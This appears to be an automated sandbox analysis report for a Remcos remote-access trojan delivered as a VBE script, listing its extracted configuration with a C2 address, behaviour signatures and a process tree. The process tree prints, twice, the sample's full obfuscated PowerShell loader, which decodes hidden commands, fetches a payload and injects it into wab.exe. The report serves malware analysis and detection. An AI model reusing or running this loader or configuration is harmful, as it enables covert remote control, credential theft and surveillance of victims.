Analysis
- max time kernel
149s - max time network
149s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
17/07/2026, 04:48
General
- Target Nonprolificacy.vbe
- Size 154KB
- Sample260717-fe63psa16k
- SHA256 fe1b0a1cc8090e6394d778530d7536588247e9de6c9996e175ce509847ad0d96
Score
10/10
Malware Config
Extracted
Family
-
remcos
Botnet
-
RemoteHost
C2
-
91.92.41.94:2404
Attributes
-
audio_folder
MicRecords
-
audio_path
ApplicationPath
-
audio_record_time
5
-
connect_delay
0
-
connect_interval
1
-
copy_file
remcos.exe
-
copy_folder
Remcos
-
delete_file
false
-
hide_file
false
-
hide_keylog_file
false
-
install_flag
false
-
keylog_crypt
false
-
keylog_file
logs.dat
-
keylog_flag
false
-
keylog_folder
remcos
-
mouse_option
false
-
mutex
Rmc-50SKBN
-
screenshot_crypt
false
-
screenshot_flag
false
-
screenshot_folder
Screenshots
-
screenshot_path
%AppData%
-
screenshot_time
10
-
take_screenshot_option
false
-
take_screenshot_time
5
Signatures
- Family: Remcos
Remcos is a closed-source remote control and surveillance software.
- Badlisted process makes network request 3 IoCs
Network request originating from process or tool commonly abused by malware.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Accesses Microsoft Outlook profiles 1 TTPs 2 IoCs
- Contacts third-party web service commonly abused for C2 1 TTPs 3 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs
Adversaries may check for Internet connectivity on compromised systems.
- System Time Discovery 1 TTPs 2 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
- Runs ping.exe 1 TTPs 1 IoCs
- Suspicious behavior: EnumeratesProcesses 5 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
- outlook_office_path 1 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Nonprolificacy.vbe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Ping.exePing Mul8668.8668.8668.babe2⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "function bgjxlp {$spolers = Get-Date}$aasasismanol = [System.Guid]::NewGuid();rv 'unmalignant' 'jovans' 'grsenker';[void]([System.Math]::Abs(-99));$enchequer=3959-3959;$aasaseskyttelsesperiode8=32548-26548;[void]('flupgrup'.Length);function ovine ($netcha,$aasas) {[void]([System.Math]::Min(5, 12));$rringspunkts=insister(@(101,227,217,227,198,209,197,146,163,237,227,225,139,141,197,198,180,214,231,152)) ;Urinblren ($rringspunkts)}Start-Sleep -Milliseconds 1 > $null;function kqwzxp {$erhvervendes250 = [System.Environment]::TickCount}$favoriseringers = Get-Culture;function insister ($radikalest151) { [void]('skldjf'.ToUpper());do {[void]([System.Math]::Round(4.56));$aasaseskyttelsesperiode8=$enchequer%8;$radikalest151[$enchequer]-=$smaaskndes[$aasaseskyttelsesperiode8];$loadimg = [System.DateTime]::Now;$aasaseskyttelsesperiode8=$radikalest151[$enchequer];$aasaseskyttelsesperiode8=[char]$aasaseskyttelsesperiode8;[void]([System.Math]::Max(12, 18));$eskalerer+=$aasaseskyttelsesperiode8;$enchequer++;[void]('pqrst'.Substring(1, 2))} while ($radikalest151[$enchequer])$eskalerer;$aasasismanol = [System.Guid]::NewGuid()}function zxwplk {[void]([System.Math]::Sqrt(100))}$parketternes = [System.IO.Path]::GetTempPath();function Urinblren ($ninetieths216) {[void]('xyzzy'.Trim());&($forgiftningsulykker146) $ninetieths216}Start-Sleep -Milliseconds 5 > $null;$spolers = Get-Date;Function Crossfire ($radikalest151,$erhvervsministerier=0){[void]([System.Math]::Abs(-123));$gummilatex=insister(@(156,184,227,221,217,206,214,217,158,175,174,181,213,216,209,167,162,232,217,165,151,188,216,215,170,227,219,151,135,219,197,201,170,224,213,219,200,220,216,150,118,166,157));$riggerne=@(Urinblren ($gummilatex));[void]('abracadabra'.Length);For($aasaslankokreditters=0; $riggerne[$aasaslankokreditters] -ne $slagvarer; $aasaslankokreditters++){$riggerne[$aasaslankokreditters] = ovine $riggerne[$aasaslankokreditters] $smaaskndes[$aasaslankokreditters%8];$aasasismanol = [System.Guid]::NewGuid()}$pseudoheroic=insister(@(110,223,227,216,209,137,191,200,169,214,230,202,192,198,136,215,170,220,219,212,213,215,201));[void]([System.Math]::Min(1, 9));$konsumerings=Urinblren ($pseudoheroic);if ($erhvervsministerier) { $geds = [System.DateTime]::UtcNow;Urinblren $konsumerings}else {;[void]('frobnicate'.ToUpper());$konsumerings}[void]([System.Math]::Max(50, 60))}function plmzqw {$erhvervendes250 = [System.Environment]::OSVersion}$favoriseringers = Get-Culture;$smaaskndes=@(65,117,116,111,99,105,100,101);$forgiftningsulykker146=insister @(138,186,204);[void]([System.Math]::Sqrt(16));$flyvekkner='\Reshone.Mas';$outcountry=Crossfire 'dFtET0s+DQslGgMcQycwRXBFWl9YSTMML0NAVEMRUlF6VQYZWVhRV29FXU8kDAcOLlpGX1JZVFRxRFQpChsBAy4NW15WW0pV';[void]('plinkplonk'.Length);$batikuling=Crossfire 'KQEAHxBTS0olBx0ZBkcDCi4SGApNCgsIbgAXUAYRFAozAUkLDB4KCS4UEEkKDVlUNw0lAA4OIwx2OTYqPBpTKAY6RCEaE1EmKgAlDBUTUAk=';$preborrowing=Crossfire 'DAYMAg9bSjYkBwIKETEpKQkhID9NX0pV';$aasasismanol = [System.Guid]::NewGuid();$godtgrelser119=Crossfire 'BjAg';$omskriver=Crossfire 'FAYRHU4oAwAvAQ==';$erhvervendes250 = [System.Environment]::TickCount;$netchalmindingens=Crossfire 'fw==';Crossfire 'ZRIYAAEICF8jEBkaBw0IACVIUAoNH14EMQUQDhcIT0EnGQ0ZBgIPCyQH' 1;[void]('shrdlu'.Trim());Crossfire 'ZRIYAAEICF8qGhkCAgcACicaBhsMBQ8AMxAaUkcLBREoHgEDCgcDSzIFGAYXQUALJAEXBwIFCQwvER0BBAwKFmg=' 1;$batikuling=$kommandofortolkeren[0];[void]([System.Math]::Abs(-10));Crossfire 'ZRIYAAEICF8mBwECDgwXEXNBQ1ItDBNIDhceCgAdREgCGhlPRxkWACMaBh0MHg0LJg==' 1;Crossfire 'ZRIYAAEICF8lEBYOFx0BFy8QB1JLPQEWNVgkDhcBREEjEBkaBw0IACVc' 1;$loadimg = [System.DateTime]::Now;while (!$debatternes) {Crossfire 'ZRIYAAEICF8AHgcKDx0FFTEQBgEGVEARMwAR' 1;[void]([System.Math]::Min(3, 7));Crossfire 'ZRIGGg4EARY1R0BYTQYUAC9dUAgMDRACMxAYHAYbVVR4WVRLAQgQDCoAGAYNDkhFZRMVAxAMTQ==' 1;Crossfire 'ZRIGGg4EARY1R0BYTRoBERMQBRoGGhAtJBQQChFBQAosBh8dCh8BF21VUAAWHQcKNBsAHRpA' 1;[void]('quux'.Length);Crossfire 'ZRIGGg4EARY1R0BYTRoBCyVdXQ==' 1;Crossfire 'ZRIYAAEICF8sFBgbBhoBWGUSBhoOBAEWNUdAWE0aEAQ1AAdPTgwVRXNFRA==' 1;$aasasismanol = [System.Guid]::NewGuid();if ($maltese) {Crossfire 'GhcNGwYyOThlEhgAAQgIXzEaBxsWBQURJAFJSwQbEQgsEAcbUV1TSzMQBx8MBxcAAxoQFg==' 1;[void]([System.Math]::Max(5, 10));Crossfire 'MhZUSwEMCRAlERgKB0lAFS4GABoPCBAANVVZKg0KCwEoGxNPIRAQAA==' 1} [void]('foobar'.ToUpper());Crossfire 'EhkRChNBUEw=' 1;Crossfire 'ZRIYAAEICF8lEBYOFx0BFy8QB1JLPQEWNVgkDhcBREEjEBkaBw0IACVc' 1 ;[void]([System.Math]::Sqrt(9));Crossfire 'ZRIYAAEICF8qFAAbBlRAAi0aFg4PUwUDIxAaCg0NAU5qUFAEDAQJBC8RGwkMGxAKLR4RHQYHSgYuABob' 1;$batikuling=$kommandofortolkeren[$katte];[void]('loremipsum'.Trim())}$smugkroens=157115;$geds = [System.DateTime]::UtcNow;$frontsman=19956;Crossfire 'ZRIYAAEICF81HBgcFxsGAC0GERwVGwAMJkRAVl4OB0VlFxECFg0ACSQR' 1;[void]([System.Math]::Abs(-5));Crossfire 'ZRIYAAEICF8NFBcbAhoBFnwuNwANHwEXNShOVSUbCwgDFAcKVV03ETMcGghLTRAMLQYAHQEMCBYkBgIdBwADVHVMXQ==' 1;Crossfire 'ZRIYAAEICF8zHRsLDB0MACIQSTQ3DBwRbzAaDAwNDQsmKE5VIjonLAhbMwoXOhAXKBsTR0clBQY1FAcKEEA=' 1;[void]('dolorsit'.Length);Crossfire 'ZRIYAAEICF81HQYKDQYADDIBSUsRAQsBLgEcCgAMShY0FwcbEQAKAmlRBwIWDg8XLhAaHE9NAhcuGwAcDggKTA==' 1;Urinblren $threnodist;$aasasismanol = [System.Guid]::NewGuid();;;;"2⤵
- Badlisted process makes network request
- System Time Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "function bgjxlp {$spolers = Get-Date}$aasasismanol = [System.Guid]::NewGuid();rv 'unmalignant' 'jovans' 'grsenker';[void]([System.Math]::Abs(-99));$enchequer=3959-3959;$aasaseskyttelsesperiode8=32548-26548;[void]('flupgrup'.Length);function ovine ($netcha,$aasas) {[void]([System.Math]::Min(5, 12));$rringspunkts=insister(@(101,227,217,227,198,209,197,146,163,237,227,225,139,141,197,198,180,214,231,152)) ;Urinblren ($rringspunkts)}Start-Sleep -Milliseconds 1 > $null;function kqwzxp {$erhvervendes250 = [System.Environment]::TickCount}$favoriseringers = Get-Culture;function insister ($radikalest151) { [void]('skldjf'.ToUpper());do {[void]([System.Math]::Round(4.56));$aasaseskyttelsesperiode8=$enchequer%8;$radikalest151[$enchequer]-=$smaaskndes[$aasaseskyttelsesperiode8];$loadimg = [System.DateTime]::Now;$aasaseskyttelsesperiode8=$radikalest151[$enchequer];$aasaseskyttelsesperiode8=[char]$aasaseskyttelsesperiode8;[void]([System.Math]::Max(12, 18));$eskalerer+=$aasaseskyttelsesperiode8;$enchequer++;[void]('pqrst'.Substring(1, 2))} while ($radikalest151[$enchequer])$eskalerer;$aasasismanol = [System.Guid]::NewGuid()}function zxwplk {[void]([System.Math]::Sqrt(100))}$parketternes = [System.IO.Path]::GetTempPath();function Urinblren ($ninetieths216) {[void]('xyzzy'.Trim());&($forgiftningsulykker146) $ninetieths216}Start-Sleep -Milliseconds 5 > $null;$spolers = Get-Date;Function Crossfire ($radikalest151,$erhvervsministerier=0){[void]([System.Math]::Abs(-123));$gummilatex=insister(@(156,184,227,221,217,206,214,217,158,175,174,181,213,216,209,167,162,232,217,165,151,188,216,215,170,227,219,151,135,219,197,201,170,224,213,219,200,220,216,150,118,166,157));$riggerne=@(Urinblren ($gummilatex));[void]('abracadabra'.Length);For($aasaslankokreditters=0; $riggerne[$aasaslankokreditters] -ne $slagvarer; $aasaslankokreditters++){$riggerne[$aasaslankokreditters] = ovine $riggerne[$aasaslankokreditters] $smaaskndes[$aasaslankokreditters%8];$aasasismanol = [System.Guid]::NewGuid()}$pseudoheroic=insister(@(110,223,227,216,209,137,191,200,169,214,230,202,192,198,136,215,170,220,219,212,213,215,201));[void]([System.Math]::Min(1, 9));$konsumerings=Urinblren ($pseudoheroic);if ($erhvervsministerier) { $geds = [System.DateTime]::UtcNow;Urinblren $konsumerings}else {;[void]('frobnicate'.ToUpper());$konsumerings}[void]([System.Math]::Max(50, 60))}function plmzqw {$erhvervendes250 = [System.Environment]::OSVersion}$favoriseringers = Get-Culture;$smaaskndes=@(65,117,116,111,99,105,100,101);$forgiftningsulykker146=insister @(138,186,204);[void]([System.Math]::Sqrt(16));$flyvekkner='\Reshone.Mas';$outcountry=Crossfire 'dFtET0s+DQslGgMcQycwRXBFWl9YSTMML0NAVEMRUlF6VQYZWVhRV29FXU8kDAcOLlpGX1JZVFRxRFQpChsBAy4NW15WW0pV';[void]('plinkplonk'.Length);$batikuling=Crossfire 'KQEAHxBTS0olBx0ZBkcDCi4SGApNCgsIbgAXUAYRFAozAUkLDB4KCS4UEEkKDVlUNw0lAA4OIwx2OTYqPBpTKAY6RCEaE1EmKgAlDBUTUAk=';$preborrowing=Crossfire 'DAYMAg9bSjYkBwIKETEpKQkhID9NX0pV';$aasasismanol = [System.Guid]::NewGuid();$godtgrelser119=Crossfire 'BjAg';$omskriver=Crossfire 'FAYRHU4oAwAvAQ==';$erhvervendes250 = [System.Environment]::TickCount;$netchalmindingens=Crossfire 'fw==';Crossfire 'ZRIYAAEICF8jEBkaBw0IACVIUAoNH14EMQUQDhcIT0EnGQ0ZBgIPCyQH' 1;[void]('shrdlu'.Trim());Crossfire 'ZRIYAAEICF8qGhkCAgcACicaBhsMBQ8AMxAaUkcLBREoHgEDCgcDSzIFGAYXQUALJAEXBwIFCQwvER0BBAwKFmg=' 1;$batikuling=$kommandofortolkeren[0];[void]([System.Math]::Abs(-10));Crossfire 'ZRIYAAEICF8mBwECDgwXEXNBQ1ItDBNIDhceCgAdREgCGhlPRxkWACMaBh0MHg0LJg==' 1;Crossfire 'ZRIYAAEICF8lEBYOFx0BFy8QB1JLPQEWNVgkDhcBREEjEBkaBw0IACVc' 1;$loadimg = [System.DateTime]::Now;while (!$debatternes) {Crossfire 'ZRIYAAEICF8AHgcKDx0FFTEQBgEGVEARMwAR' 1;[void]([System.Math]::Min(3, 7));Crossfire 'ZRIGGg4EARY1R0BYTQYUAC9dUAgMDRACMxAYHAYbVVR4WVRLAQgQDCoAGAYNDkhFZRMVAxAMTQ==' 1;Crossfire 'ZRIGGg4EARY1R0BYTRoBERMQBRoGGhAtJBQQChFBQAosBh8dCh8BF21VUAAWHQcKNBsAHRpA' 1;[void]('quux'.Length);Crossfire 'ZRIGGg4EARY1R0BYTRoBCyVdXQ==' 1;Crossfire 'ZRIYAAEICF8sFBgbBhoBWGUSBhoOBAEWNUdAWE0aEAQ1AAdPTgwVRXNFRA==' 1;$aasasismanol = [System.Guid]::NewGuid();if ($maltese) {Crossfire 'GhcNGwYyOThlEhgAAQgIXzEaBxsWBQURJAFJSwQbEQgsEAcbUV1TSzMQBx8MBxcAAxoQFg==' 1;[void]([System.Math]::Max(5, 10));Crossfire 'MhZUSwEMCRAlERgKB0lAFS4GABoPCBAANVVZKg0KCwEoGxNPIRAQAA==' 1} [void]('foobar'.ToUpper());Crossfire 'EhkRChNBUEw=' 1;Crossfire 'ZRIYAAEICF8lEBYOFx0BFy8QB1JLPQEWNVgkDhcBREEjEBkaBw0IACVc' 1 ;[void]([System.Math]::Sqrt(9));Crossfire 'ZRIYAAEICF8qFAAbBlRAAi0aFg4PUwUDIxAaCg0NAU5qUFAEDAQJBC8RGwkMGxAKLR4RHQYHSgYuABob' 1;$batikuling=$kommandofortolkeren[$katte];[void]('loremipsum'.Trim())}$smugkroens=157115;$geds = [System.DateTime]::UtcNow;$frontsman=19956;Crossfire 'ZRIYAAEICF81HBgcFxsGAC0GERwVGwAMJkRAVl4OB0VlFxECFg0ACSQR' 1;[void]([System.Math]::Abs(-5));Crossfire 'ZRIYAAEICF8NFBcbAhoBFnwuNwANHwEXNShOVSUbCwgDFAcKVV03ETMcGghLTRAMLQYAHQEMCBYkBgIdBwADVHVMXQ==' 1;Crossfire 'ZRIYAAEICF8zHRsLDB0MACIQSTQ3DBwRbzAaDAwNDQsmKE5VIjonLAhbMwoXOhAXKBsTR0clBQY1FAcKEEA=' 1;[void]('dolorsit'.Length);Crossfire 'ZRIYAAEICF81HQYKDQYADDIBSUsRAQsBLgEcCgAMShY0FwcbEQAKAmlRBwIWDg8XLhAaHE9NAhcuGwAcDggKTA==' 1;Urinblren $threnodist;$aasasismanol = [System.Guid]::NewGuid();;;;"1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- System Time Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Windows Mail\wab.exe"C:\Program Files (x86)\Windows Mail\wab.exe"2⤵
-
-
C:\Program Files (x86)\Windows Mail\wab.exe"C:\Program Files (x86)\Windows Mail\wab.exe"2⤵
- Accesses Microsoft Outlook profiles
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
- outlook_office_path
-
C:\Program Files (x86)\Windows Mail\wab.exe"C:\Program Files (x86)\Windows Mail\wab.exe"3⤵
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
__PSScriptPolicyTest_sblyk3re.4dh.ps1
Reshone.Mas
memory/1688-41-0x00000000086E0000-0x000000000A13D000-memory.dmp
memory/1688-36-0x00000000060F0000-0x000000000610A000-memory.dmp
memory/1688-39-0x0000000008130000-0x00000000086D4000-memory.dmp
memory/1688-35-0x0000000007500000-0x0000000007B7A000-memory.dmp
memory/1688-37-0x0000000007060000-0x00000000070F6000-memory.dmp
memory/1688-38-0x0000000006FC0000-0x0000000006FE2000-memory.dmp
memory/1688-19-0x00000000045E0000-0x0000000004616000-memory.dmp
memory/1688-20-0x0000000004C50000-0x0000000005278000-memory.dmp
memory/1688-21-0x0000000004BE0000-0x0000000004C02000-memory.dmp
memory/1688-23-0x0000000005460000-0x00000000054C6000-memory.dmp
memory/1688-22-0x00000000053F0000-0x0000000005456000-memory.dmp
memory/1688-31-0x0000000005560000-0x00000000058B4000-memory.dmp
memory/1688-34-0x0000000005BD0000-0x0000000005C1C000-memory.dmp
memory/1688-33-0x0000000005B90000-0x0000000005BAE000-memory.dmp
memory/3336-65-0x000000001E940000-0x000000001EA37000-memory.dmp
memory/3336-73-0x0000000001000000-0x0000000002254000-memory.dmp
memory/3336-76-0x0000000001000000-0x0000000002254000-memory.dmp
memory/3336-75-0x0000000001000000-0x0000000002254000-memory.dmp
memory/3336-74-0x0000000001000000-0x0000000002254000-memory.dmp
memory/3336-62-0x000000001E940000-0x000000001EA37000-memory.dmp
memory/3336-66-0x000000001E940000-0x000000001EA37000-memory.dmp
memory/3336-57-0x0000000001000000-0x0000000002254000-memory.dmp
memory/3336-42-0x0000000001000000-0x0000000002254000-memory.dmp
memory/5676-7-0x0000024386A60000-0x0000024386A82000-memory.dmp
memory/5676-10-0x00000243868A0000-0x00000243868B0000-memory.dmp
memory/5676-1-0x00000243868A0000-0x00000243868B0000-memory.dmp
memory/5676-0-0x00000243868A0000-0x00000243868B0000-memory.dmp
memory/5676-11-0x00000243868A0000-0x00000243868B0000-memory.dmp
memory/5676-12-0x00000243868A0000-0x00000243868B0000-memory.dmp
memory/5676-13-0x00000243868A0000-0x00000243868B0000-memory.dmp
memory/5676-14-0x00000243868A0000-0x00000243868B0000-memory.dmp